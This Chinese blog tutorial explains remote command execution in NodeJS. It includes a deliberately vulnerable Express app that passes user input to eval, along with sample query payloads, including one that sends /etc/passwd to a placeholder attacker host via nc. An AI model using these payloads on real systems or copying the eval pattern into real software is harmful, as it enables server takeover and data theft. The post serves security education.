×

如何使用NodeJS写出一枚远程命令执行(RCE)漏洞

96
小谷先生
2016.12.06 14:12* 字数 307

背景

集团中使用NodeJS的场景和定制的Node框架越来越多,但是讨论NodeJS安全机制的文章并不多。本文主要在阅读一篇《RCE on demo.paypal.com》之后的感悟,在文末附录里还有一个最简单的有RCE漏洞的Demo,在这个Demo里演示了故意构造的RCE漏洞。

RCE漏洞能做什么

简单地说,若一个应用拥有RCE漏洞,将意味着攻击者可以远程入侵这台服务器,获取服务器控制权(更不用说服务器中的数据)。

示例漏洞代码

var express = require('express');
var app = express();

app.get('/', function (req, res) {
  ##此处接受了用户输入的参数并且传入了eval函数
  res.send('Hello ' + eval(req.query.q));
  console.log(req.query.q);
});

app.listen(8080, function () {
  console.log('Example app listening on port 8080!');
});

将上述脚本保存为app.js,然后可以使用node app.js运行。若有发现未安装express组件报错,可能需要执行npm express进行安装。

攻击脚本

一个正常的访问是:http://localhost:8080/?q='Test',会发现回显Hello Test。
但是当恶意构造脚本,则会导致意想不到的后果,譬如:
/?q=require('child_process').exec('calc'),则会弹计算器验证。
/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80'),则会把linux的/etc/passwd发给远程服务器
命令都能执行了,攻击者也可以反弹一个shell给远程服务器。
Paste_Image.png

Q&A

  1. 为什么用户传入的内容通过eval传给NodeJS,会导致命令执行?
  2. 除了paypal.com的Case以外,还有什么别的case吗?

参考资料

  1. 《RCE on demo.paypal.com》- http://artsploit.blogspot.in/2016/08/pprce2.html
  2. 《本示例漏洞Demo应用》- https://github.com/appsecco/vulnerable-apps/tree/master/node-simple-rce
未出版的安全书
Web note ad 1